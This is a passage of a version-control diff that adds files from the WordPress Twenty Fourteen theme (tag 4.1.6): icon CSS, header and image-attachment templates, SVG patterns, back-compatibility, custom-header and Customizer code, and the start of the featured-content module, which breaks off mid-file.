+.genericon-aside:before {           content: '\f101'; }
+.genericon-image:before {           content: '\f102'; }
+.genericon-gallery:before {         content: '\f103'; }
+.genericon-video:before {           content: '\f104'; }
+.genericon-status:before {          content: '\f105'; }
+.genericon-quote:before {           content: '\f106'; }
+.genericon-link:before {            content: '\f107'; }
+.genericon-chat:before {            content: '\f108'; }
+.genericon-audio:before {           content: '\f109'; }
+
+/* Social icons */
+.genericon-github:before {          content: '\f200'; }
+.genericon-dribbble:before {        content: '\f201'; }
+.genericon-twitter:before {         content: '\f202'; }
+.genericon-facebook:before {        content: '\f203'; }
+.genericon-facebook-alt:before {    content: '\f204'; }
+.genericon-wordpress:before {       content: '\f205'; }
+.genericon-googleplus:before {      content: '\f206'; }
+.genericon-linkedin:before {        content: '\f207'; }
+.genericon-linkedin-alt:before {    content: '\f208'; }
+.genericon-pinterest:before {       content: '\f209'; }
+.genericon-pinterest-alt:before {   content: '\f210'; }
+.genericon-flickr:before {          content: '\f211'; }
+.genericon-vimeo:before {           content: '\f212'; }
+.genericon-youtube:before {         content: '\f213'; }
+.genericon-tumblr:before {          content: '\f214'; }
+.genericon-instagram:before {       content: '\f215'; }
+.genericon-codepen:before {         content: '\f216'; }
+.genericon-polldaddy:before {       content: '\f217'; }
+.genericon-googleplus-alt:before {  content: '\f218'; }
+.genericon-path:before {            content: '\f219'; }
+.genericon-skype:before {           content: '\f220'; }
+.genericon-digg:before {            content: '\f221'; }
+.genericon-reddit:before {          content: '\f222'; }
+.genericon-stumbleupon:before {     content: '\f223'; }
+.genericon-pocket:before {          content: '\f224'; }
+.genericon-dropbox:before {         content: '\f225'; }
+
+/* Meta icons */
+.genericon-comment:before {         content: '\f300'; }
+.genericon-category:before {        content: '\f301'; }
+.genericon-tag:before {             content: '\f302'; }
+.genericon-time:before {            content: '\f303'; }
+.genericon-user:before {            content: '\f304'; }
+.genericon-day:before {             content: '\f305'; }
+.genericon-week:before {            content: '\f306'; }
+.genericon-month:before {           content: '\f307'; }
+.genericon-pinned:before {          content: '\f308'; }
+
+/* Other icons */
+.genericon-search:before {          content: '\f400'; }
+.genericon-unzoom:before {          content: '\f401'; }
+.genericon-zoom:before {            content: '\f402'; }
+.genericon-show:before {            content: '\f403'; }
+.genericon-hide:before {            content: '\f404'; }
+.genericon-close:before {           content: '\f405'; }
+.genericon-close-alt:before {       content: '\f406'; }
+.genericon-trash:before {           content: '\f407'; }
+.genericon-star:before {            content: '\f408'; }
+.genericon-home:before {            content: '\f409'; }
+.genericon-mail:before {            content: '\f410'; }
+.genericon-edit:before {            content: '\f411'; }
+.genericon-reply:before {           content: '\f412'; }
+.genericon-feed:before {            content: '\f413'; }
+.genericon-warning:before {         content: '\f414'; }
+.genericon-share:before {           content: '\f415'; }
+.genericon-attachment:before {      content: '\f416'; }
+.genericon-location:before {        content: '\f417'; }
+.genericon-checkmark:before {       content: '\f418'; }
+.genericon-menu:before {            content: '\f419'; }
+.genericon-refresh:before {         content: '\f420'; }
+.genericon-minimize:before {        content: '\f421'; }
+.genericon-maximize:before {        content: '\f422'; }
+.genericon-404:before {             content: '\f423'; }
+.genericon-spam:before {            content: '\f424'; }
+.genericon-summary:before {         content: '\f425'; }
+.genericon-cloud:before {           content: '\f426'; }
+.genericon-key:before {             content: '\f427'; }
+.genericon-dot:before {             content: '\f428'; }
+.genericon-next:before {            content: '\f429'; }
+.genericon-previous:before {        content: '\f430'; }
+.genericon-expand:before {          content: '\f431'; }
+.genericon-collapse:before {        content: '\f432'; }
+.genericon-dropdown:before {        content: '\f433'; }
+.genericon-dropdown-left:before {   content: '\f434'; }
+.genericon-top:before {             content: '\f435'; }
+.genericon-draggable:before {       content: '\f436'; }
+.genericon-phone:before {           content: '\f437'; }
+.genericon-send-to-phone:before {   content: '\f438'; }
+.genericon-plugin:before {          content: '\f439'; }
+.genericon-cloud-download:before {  content: '\f440'; }
+.genericon-cloud-upload:before {    content: '\f441'; }
+.genericon-external:before {        content: '\f442'; }
+.genericon-document:before {        content: '\f443'; }
+.genericon-book:before {            content: '\f444'; }
+.genericon-cog:before {             content: '\f445'; }
+.genericon-unapprove:before {       content: '\f446'; }
+.genericon-cart:before {            content: '\f447'; }
+.genericon-pause:before {           content: '\f448'; }
+.genericon-stop:before {            content: '\f449'; }
+.genericon-skip-back:before {       content: '\f450'; }
+.genericon-skip-ahead:before {      content: '\f451'; }
+.genericon-play:before {            content: '\f452'; }
+.genericon-tablet:before {          content: '\f453'; }
+.genericon-send-to-tablet:before {  content: '\f454'; }
+.genericon-info:before {            content: '\f455'; }
+.genericon-notice:before {          content: '\f456'; }
+.genericon-help:before {            content: '\f457'; }
+.genericon-fastforward:before {     content: '\f458'; }
+.genericon-rewind:before {          content: '\f459'; }
+.genericon-portfolio:before {       content: '\f460'; }
+.genericon-heart:before {           content: '\f461'; }
+.genericon-code:before {            content: '\f462'; }
+.genericon-subscribe:before {       content: '\f463'; }
+.genericon-unsubscribe:before {     content: '\f464'; }
+.genericon-subscribed:before {      content: '\f465'; }
+.genericon-reply-alt:before {       content: '\f466'; }
+.genericon-reply-single:before {    content: '\f467'; }
+.genericon-flag:before {            content: '\f468'; }
+.genericon-print:before {           content: '\f469'; }
+.genericon-lock:before {            content: '\f470'; }
+.genericon-bold:before {            content: '\f471'; }
+.genericon-italic:before {          content: '\f472'; }
+.genericon-picture:before {         content: '\f473'; }
+.genericon-fullscreen:before {      content: '\f474'; }
+
+/* Generic shapes */
+.genericon-uparrow:before {         content: '\f500'; }
+.genericon-rightarrow:before {      content: '\f501'; }
+.genericon-downarrow:before {       content: '\f502'; }
+.genericon-leftarrow:before {       content: '\f503'; }
+
+
+
+
+
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/header.php	(revision 33402)
@@ -0,0 +1,65 @@
+<?php
+/**
+ * The Header for our theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?><!DOCTYPE html>
+<!--[if IE 7]>
+<html class="ie ie7" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 8]>
+<html class="ie ie8" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 7) & !(IE 8)]><!-->
+<html <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+	<meta charset="<?php bloginfo( 'charset' ); ?>">
+	<meta name="viewport" content="width=device-width">
+	<title><?php wp_title( '|', true, 'right' ); ?></title>
+	<link rel="profile" href="http://gmpg.org/xfn/11">
+	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
+	<!--[if lt IE 9]>
+	<script src="<?php echo get_template_directory_uri(); ?>/js/html5.js"></script>
+	<![endif]-->
+	<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="hfeed site">
+	<?php if ( get_header_image() ) : ?>
+	<div id="site-header">
+		<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home">
+			<img src="<?php header_image(); ?>" width="<?php echo get_custom_header()->width; ?>" height="<?php echo get_custom_header()->height; ?>" alt="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>">
+		</a>
+	</div>
+	<?php endif; ?>
+
+	<header id="masthead" class="site-header" role="banner">
+		<div class="header-main">
+			<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
+
+			<div class="search-toggle">
+				<a href="#search-container" class="screen-reader-text"><?php _e( 'Search', 'twentyfourteen' ); ?></a>
+			</div>
+
+			<nav id="primary-navigation" class="site-navigation primary-navigation" role="navigation">
+				<button class="menu-toggle"><?php _e( 'Primary Menu', 'twentyfourteen' ); ?></button>
+				<a class="screen-reader-text skip-link" href="#content"><?php _e( 'Skip to content', 'twentyfourteen' ); ?></a>
+				<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu' ) ); ?>
+			</nav>
+		</div>
+
+		<div id="search-container" class="search-box-wrapper hide">
+			<div class="search-box">
+				<?php get_search_form(); ?>
+			</div>
+		</div>
+	</header><!-- #masthead -->
+
+	<div id="main" class="site-main">
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/image.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/image.php	(revision 33402)
@@ -0,0 +1,79 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+// Retrieve attachment metadata.
+$metadata = wp_get_attachment_metadata();
+
+get_header();
+?>
+
+	<section id="primary" class="content-area image-attachment">
+		<div id="content" class="site-content" role="main">
+
+	<?php
+		// Start the Loop.
+		while ( have_posts() ) : the_post();
+	?>
+			<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+				<header class="entry-header">
+					<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+
+					<div class="entry-meta">
+
+						<span class="entry-date"><time class="entry-date" datetime="<?php echo esc_attr( get_the_date( 'c' ) ); ?>"><?php echo esc_html( get_the_date() ); ?></time></span>
+
+						<span class="full-size-link"><a href="<?php echo esc_url( wp_get_attachment_url() ); ?>"><?php echo $metadata['width']; ?> &times; <?php echo $metadata['height']; ?></a></span>
+
+						<span class="parent-post-link"><a href="<?php echo esc_url( get_permalink( $post->post_parent ) ); ?>" rel="gallery"><?php echo get_the_title( $post->post_parent ); ?></a></span>
+						<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-meta -->
+				</header><!-- .entry-header -->
+
+				<div class="entry-content">
+					<div class="entry-attachment">
+						<div class="attachment">
+							<?php twentyfourteen_the_attached_image(); ?>
+						</div><!-- .attachment -->
+
+						<?php if ( has_excerpt() ) : ?>
+						<div class="entry-caption">
+							<?php the_excerpt(); ?>
+						</div><!-- .entry-caption -->
+						<?php endif; ?>
+					</div><!-- .entry-attachment -->
+
+					<?php
+						the_content();
+						wp_link_pages( array(
+							'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+							'after'       => '</div>',
+							'link_before' => '<span>',
+							'link_after'  => '</span>',
+						) );
+					?>
+				</div><!-- .entry-content -->
+			</article><!-- #post-## -->
+
+			<nav id="image-navigation" class="navigation image-navigation">
+				<div class="nav-links">
+				<?php previous_image_link( false, '<div class="previous-image">' . __( 'Previous Image', 'twentyfourteen' ) . '</div>' ); ?>
+				<?php next_image_link( false, '<div class="next-image">' . __( 'Next Image', 'twentyfourteen' ) . '</div>' ); ?>
+				</div><!-- .nav-links -->
+			</nav><!-- #image-navigation -->
+
+			<?php comments_template(); ?>
+
+		<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/images/pattern-dark.svg
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/images/pattern-dark.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/images/pattern-dark.svg	(revision 33402)
@@ -0,0 +1,16 @@
+<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
+	 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
+<rect x="0" display="none" width="30" height="30"/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,0 0,30 1,30 30,1 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,5 0,35 1,35 30,6 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,10 0,40 1,40 30,11 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,15 0,45 1,45 30,16 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,20 0,50 1,50 30,21 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,25 0,55 1,55 30,26 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="26,-1 -4,29 -3,29 26,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="21,-1 -9,29 -8,29 21,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="16,-1 -14,29 -13,29 16,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="11,-1 -19,29 -18,29 11,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="6,-1 -24,29 -23,29 6,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="1,-1 -29,29 -28,29 1,0 "/>
+</svg>
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/images/pattern-light.svg
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/images/pattern-light.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/images/pattern-light.svg	(revision 33402)
@@ -0,0 +1,6 @@
+<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
+	 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
+<path fill="#FFFFFF" d="M0,15v-4L11,0h4L0,15z M10,0H6L0,6v4L10,0z M20,0h-4L0,16v4L20,0z M25,0h-4L0,21v4L25,0z M26,0L0,26v4L30,0
+	H26z M5,0H1L0,1v4L5,0z M5,30L30,5V1L1,30H5z M10,30l20-20V6L6,30H10z M15,30l15-15v-4L11,30H15z M20,30l10-10v-4L16,30H20z M25,30
+	l5-5v-4l-9,9H25z M30,30v-4l-4,4H30z"/>
+</svg>
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/back-compat.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/back-compat.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/back-compat.php	(revision 33402)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Twenty Fourteen back compat functionality
+ *
+ * Prevents Twenty Fourteen from running on WordPress versions prior to 3.6,
+ * since this theme is not meant to be backward compatible beyond that
+ * and relies on many newer functions and markup changes introduced in 3.6.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/**
+ * Prevent switching to Twenty Fourteen on old versions of WordPress.
+ *
+ * Switches to the default theme.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_switch_theme() {
+	switch_theme( WP_DEFAULT_THEME, WP_DEFAULT_THEME );
+	unset( $_GET['activated'] );
+	add_action( 'admin_notices', 'twentyfourteen_upgrade_notice' );
+}
+add_action( 'after_switch_theme', 'twentyfourteen_switch_theme' );
+
+/**
+ * Add message for unsuccessful theme switch.
+ *
+ * Prints an update nag after an unsuccessful attempt to switch to
+ * Twenty Fourteen on WordPress versions prior to 3.6.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_upgrade_notice() {
+	$message = sprintf( __( 'Twenty Fourteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentyfourteen' ), $GLOBALS['wp_version'] );
+	printf( '<div class="error"><p>%s</p></div>', $message );
+}
+
+/**
+ * Prevent the Customizer from being loaded on WordPress versions prior to 3.6.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_customize() {
+	wp_die( sprintf( __( 'Twenty Fourteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentyfourteen' ), $GLOBALS['wp_version'] ), '', array(
+		'back_link' => true,
+	) );
+}
+add_action( 'load-customize.php', 'twentyfourteen_customize' );
+
+/**
+ * Prevent the Theme Preview from being loaded on WordPress versions prior to 3.4.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_preview() {
+	if ( isset( $_GET['preview'] ) ) {
+		wp_die( sprintf( __( 'Twenty Fourteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentyfourteen' ), $GLOBALS['wp_version'] ) );
+	}
+}
+add_action( 'template_redirect', 'twentyfourteen_preview' );
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/custom-header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/custom-header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/custom-header.php	(revision 33402)
@@ -0,0 +1,147 @@
+<?php
+/**
+ * Implement Custom Header functionality for Twenty Fourteen
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/**
+ * Set up the WordPress core custom header settings.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @uses twentyfourteen_header_style()
+ * @uses twentyfourteen_admin_header_style()
+ * @uses twentyfourteen_admin_header_image()
+ */
+function twentyfourteen_custom_header_setup() {
+	/**
+	 * Filter Twenty Fourteen custom-header support arguments.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $args {
+	 *     An array of custom-header support arguments.
+	 *
+	 *     @type bool   $header_text            Whether to display custom header text. Default false.
+	 *     @type int    $width                  Width in pixels of the custom header image. Default 1260.
+	 *     @type int    $height                 Height in pixels of the custom header image. Default 240.
+	 *     @type bool   $flex_height            Whether to allow flexible-height header images. Default true.
+	 *     @type string $admin_head_callback    Callback function used to style the image displayed in
+	 *                                          the Appearance > Header screen.
+	 *     @type string $admin_preview_callback Callback function used to create the custom header markup in
+	 *                                          the Appearance > Header screen.
+	 * }
+	 */
+	add_theme_support( 'custom-header', apply_filters( 'twentyfourteen_custom_header_args', array(
+		'default-text-color'     => 'fff',
+		'width'                  => 1260,
+		'height'                 => 240,
+		'flex-height'            => true,
+		'wp-head-callback'       => 'twentyfourteen_header_style',
+		'admin-head-callback'    => 'twentyfourteen_admin_header_style',
+		'admin-preview-callback' => 'twentyfourteen_admin_header_image',
+	) ) );
+}
+add_action( 'after_setup_theme', 'twentyfourteen_custom_header_setup' );
+
+if ( ! function_exists( 'twentyfourteen_header_style' ) ) :
+/**
+ * Styles the header image and text displayed on the blog
+ *
+ * @see twentyfourteen_custom_header_setup().
+ *
+ */
+function twentyfourteen_header_style() {
+	$text_color = get_header_textcolor();
+
+	// If no custom color for text is set, let's bail.
+	if ( display_header_text() && $text_color === get_theme_support( 'custom-header', 'default-text-color' ) )
+		return;
+
+	// If we get this far, we have custom styles.
+	?>
+	<style type="text/css" id="twentyfourteen-header-css">
+	<?php
+		// Has the text been hidden?
+		if ( ! display_header_text() ) :
+	?>
+		.site-title,
+		.site-description {
+			clip: rect(1px 1px 1px 1px); /* IE7 */
+			clip: rect(1px, 1px, 1px, 1px);
+			position: absolute;
+		}
+	<?php
+		// If the user has set a custom color for the text, use that.
+		elseif ( $text_color != get_theme_support( 'custom-header', 'default-text-color' ) ) :
+	?>
+		.site-title a {
+			color: #<?php echo esc_attr( $text_color ); ?>;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+endif; // twentyfourteen_header_style
+
+
+if ( ! function_exists( 'twentyfourteen_admin_header_style' ) ) :
+/**
+ * Style the header image displayed on the Appearance > Header screen.
+ *
+ * @see twentyfourteen_custom_header_setup()
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_admin_header_style() {
+?>
+	<style type="text/css" id="twentyfourteen-admin-header-css">
+	.appearance_page_custom-header #headimg {
+		background-color: #000;
+		border: none;
+		max-width: 1260px;
+		min-height: 48px;
+	}
+	#headimg h1 {
+		font-family: Lato, sans-serif;
+		font-size: 18px;
+		line-height: 48px;
+		margin: 0 0 0 30px;
+	}
+	.rtl #headimg h1  {
+		margin: 0 30px 0 0;
+	}
+	#headimg h1 a {
+		color: #fff;
+		text-decoration: none;
+	}
+	#headimg img {
+		vertical-align: middle;
+	}
+	</style>
+<?php
+}
+endif; // twentyfourteen_admin_header_style
+
+if ( ! function_exists( 'twentyfourteen_admin_header_image' ) ) :
+/**
+ * Create the custom header image markup displayed on the Appearance > Header screen.
+ *
+ * @see twentyfourteen_custom_header_setup()
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_admin_header_image() {
+?>
+	<div id="headimg">
+		<?php if ( get_header_image() ) : ?>
+		<img src="<?php header_image(); ?>" alt="">
+		<?php endif; ?>
+		<h1 class="displaying-header-text"><a id="name"<?php echo sprintf( ' style="color:#%s;"', get_header_textcolor() ); ?> onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+	</div>
+<?php
+}
+endif; // twentyfourteen_admin_header_image
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/customizer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/customizer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/customizer.php	(revision 33402)
@@ -0,0 +1,115 @@
+<?php
+/**
+ * Twenty Fourteen Customizer support
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/**
+ * Implement Customizer additions and adjustments.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @param WP_Customize_Manager $wp_customize Customizer object.
+ */
+function twentyfourteen_customize_register( $wp_customize ) {
+	// Add postMessage support for site title and description.
+	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
+	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';
+
+	// Rename the label to "Site Title Color" because this only affects the site title in this theme.
+	$wp_customize->get_control( 'header_textcolor' )->label = __( 'Site Title Color', 'twentyfourteen' );
+
+	// Rename the label to "Display Site Title & Tagline" in order to make this option extra clear.
+	$wp_customize->get_control( 'display_header_text' )->label = __( 'Display Site Title &amp; Tagline', 'twentyfourteen' );
+
+	// Add custom description to Colors and Background controls or sections.
+	if ( property_exists( $wp_customize->get_control( 'background_color' ), 'description' ) ) {
+		$wp_customize->get_control( 'background_color' )->description = __( 'May only be visible on wide screens.', 'twentyfourteen' );
+		$wp_customize->get_control( 'background_image' )->description = __( 'May only be visible on wide screens.', 'twentyfourteen' );
+	} else {
+		$wp_customize->get_section( 'colors' )->description           = __( 'Background may only be visible on wide screens.', 'twentyfourteen' );
+		$wp_customize->get_section( 'background_image' )->description = __( 'Background may only be visible on wide screens.', 'twentyfourteen' );
+	}
+
+	// Add the featured content section in case it's not already there.
+	$wp_customize->add_section( 'featured_content', array(
+		'title'           => __( 'Featured Content', 'twentyfourteen' ),
+		'description'     => sprintf( __( 'Use a <a href="%1$s">tag</a> to feature your posts. If no posts match the tag, <a href="%2$s">sticky posts</a> will be displayed instead.', 'twentyfourteen' ),
+			esc_url( add_query_arg( 'tag', _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ), admin_url( 'edit.php' ) ) ),
+			admin_url( 'edit.php?show_sticky=1' )
+		),
+		'priority'        => 130,
+		'active_callback' => 'is_front_page',
+	) );
+
+	// Add the featured content layout setting and control.
+	$wp_customize->add_setting( 'featured_content_layout', array(
+		'default'           => 'grid',
+		'sanitize_callback' => 'twentyfourteen_sanitize_layout',
+	) );
+
+	$wp_customize->add_control( 'featured_content_layout', array(
+		'label'   => __( 'Layout', 'twentyfourteen' ),
+		'section' => 'featured_content',
+		'type'    => 'select',
+		'choices' => array(
+			'grid'   => __( 'Grid',   'twentyfourteen' ),
+			'slider' => __( 'Slider', 'twentyfourteen' ),
+		),
+	) );
+}
+add_action( 'customize_register', 'twentyfourteen_customize_register' );
+
+/**
+ * Sanitize the Featured Content layout value.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @param string $layout Layout type.
+ * @return string Filtered layout type (grid|slider).
+ */
+function twentyfourteen_sanitize_layout( $layout ) {
+	if ( ! in_array( $layout, array( 'grid', 'slider' ) ) ) {
+		$layout = 'grid';
+	}
+
+	return $layout;
+}
+
+/**
+ * Bind JS handlers to make Customizer preview reload changes asynchronously.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_customize_preview_js() {
+	wp_enqueue_script( 'twentyfourteen_customizer', get_template_directory_uri() . '/js/customizer.js', array( 'customize-preview' ), '20131205', true );
+}
+add_action( 'customize_preview_init', 'twentyfourteen_customize_preview_js' );
+
+/**
+ * Add contextual help to the Themes and Post edit screens.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_contextual_help() {
+	if ( 'admin_head-edit.php' === current_filter() && 'post' !== $GLOBALS['typenow'] ) {
+		return;
+	}
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'twentyfourteen',
+		'title'   => __( 'Twenty Fourteen', 'twentyfourteen' ),
+		'content' =>
+			'<ul>' .
+				'<li>' . sprintf( __( 'The home page features your choice of up to 6 posts prominently displayed in a grid or slider, controlled by a <a href="%1$s">tag</a>; you can change the tag and layout in <a href="%2$s">Appearance &rarr; Customize</a>. If no posts match the tag, <a href="%3$s">sticky posts</a> will be displayed instead.', 'twentyfourteen' ), esc_url( add_query_arg( 'tag', _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ), admin_url( 'edit.php' ) ) ), admin_url( 'customize.php' ), admin_url( 'edit.php?show_sticky=1' ) ) . '</li>' .
+				'<li>' . sprintf( __( 'Enhance your site design by using <a href="%s">Featured Images</a> for posts you&rsquo;d like to stand out (also known as post thumbnails). This allows you to associate an image with your post without inserting it. Twenty Fourteen uses featured images for posts and pages&mdash;above the title&mdash;and in the Featured Content area on the home page.', 'twentyfourteen' ), 'http://codex.wordpress.org/Post_Thumbnails#Setting_a_Post_Thumbnail' ) . '</li>' .
+				'<li>' . sprintf( __( 'For an in-depth tutorial, and more tips and tricks, visit the <a href="%s">Twenty Fourteen documentation</a>.', 'twentyfourteen' ), 'http://codex.wordpress.org/Twenty_Fourteen' ) . '</li>' .
+			'</ul>',
+	) );
+}
+add_action( 'admin_head-themes.php', 'twentyfourteen_contextual_help' );
+add_action( 'admin_head-edit.php',   'twentyfourteen_contextual_help' );
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/featured-content.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/featured-content.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/inc/featured-content.php	(revision 33402)
@@ -0,0 +1,531 @@
+<?php
+/**
+ * Twenty Fourteen Featured Content
+ *
+ * This module allows you to define a subset of posts to be displayed
+ * in the theme's Featured Content area.
+ *
+ * For maximum compatibility with different methods of posting users
+ * will designate a featured post tag to associate posts with. Since
+ * this tag now has special meaning beyond that of a normal tags, users
+ * will have the ability to hide it from the front-end of their site.
+ */
+class Featured_Content {
+
+	/**
+	 * The maximum number of posts a Featured Content area can contain.
+	 *
+	 * We define a default value here but themes can override
+	 * this by defining a "max_posts" entry in the second parameter
+	 * passed in the call to add_theme_support( 'featured-content' ).
+	 *
+	 * @see Featured_Content::init()
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @static
+	 * @access public
+	 * @var int
+	 */
+	public static $max_posts = 15;
+
+	/**
+	 * Instantiate.
+	 *
+	 * All custom functionality will be hooked into the "init" action.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function setup() {
+		add_action( 'init', array( __CLASS__, 'init' ), 30 );
+	}
+
+	/**
+	 * Conditionally hook into WordPress.
+	 *
+	 * Theme must declare that they support this module by adding
+	 * add_theme_support( 'featured-content' ); during after_setup_theme.
+	 *
+	 * If no theme support is found there is no need to hook into WordPress.
+	 * We'll just return early instead.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function init() {
+		$theme_support = get_theme_support( 'featured-content' );
+
+		// Return early if theme does not support Featured Content.
+		if ( ! $theme_support ) {
+			return;
+		}
+
+		/*
+		 * An array of named arguments must be passed as the second parameter
+		 * of add_theme_support().
+		 */
+		if ( ! isset( $theme_support[0] ) ) {
+			return;
+		}
+
+		// Return early if "featured_content_filter" has not been defined.
+		if ( ! isset( $theme_support[0]['featured_content_filter'] ) ) {
+			return;
+		}
+
+		$filter = $theme_support[0]['featured_content_filter'];
+
+		// Theme can override the number of max posts.
+		if ( isset( $theme_support[0]['max_posts'] ) ) {
+			self::$max_posts = absint( $theme_support[0]['max_posts'] );
+		}
+
+		add_filter( $filter,                              array( __CLASS__, 'get_featured_posts' )    );
+		add_action( 'customize_register',                 array( __CLASS__, 'customize_register' ), 9 );
+		add_action( 'admin_init',                         array( __CLASS__, 'register_setting'   )    );
+		add_action( 'switch_theme',                       array( __CLASS__, 'delete_transient'   )    );
+		add_action( 'save_post',                          array( __CLASS__, 'delete_transient'   )    );
+		add_action( 'delete_post_tag',                    array( __CLASS__, 'delete_post_tag'    )    );
+		add_action( 'customize_controls_enqueue_scripts', array( __CLASS__, 'enqueue_scripts'    )    );
+		add_action( 'pre_get_posts',                      array( __CLASS__, 'pre_get_posts'      )    );
+		add_action( 'wp_loaded',                          array( __CLASS__, 'wp_loaded'          )    );
+	}
+
+	/**
+	 * Hide "featured" tag from the front-end.
+	 *
+	 * Has to run on wp_loaded so that the preview filters of the Customizer
+	 * have a chance to alter the value.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function wp_loaded() {
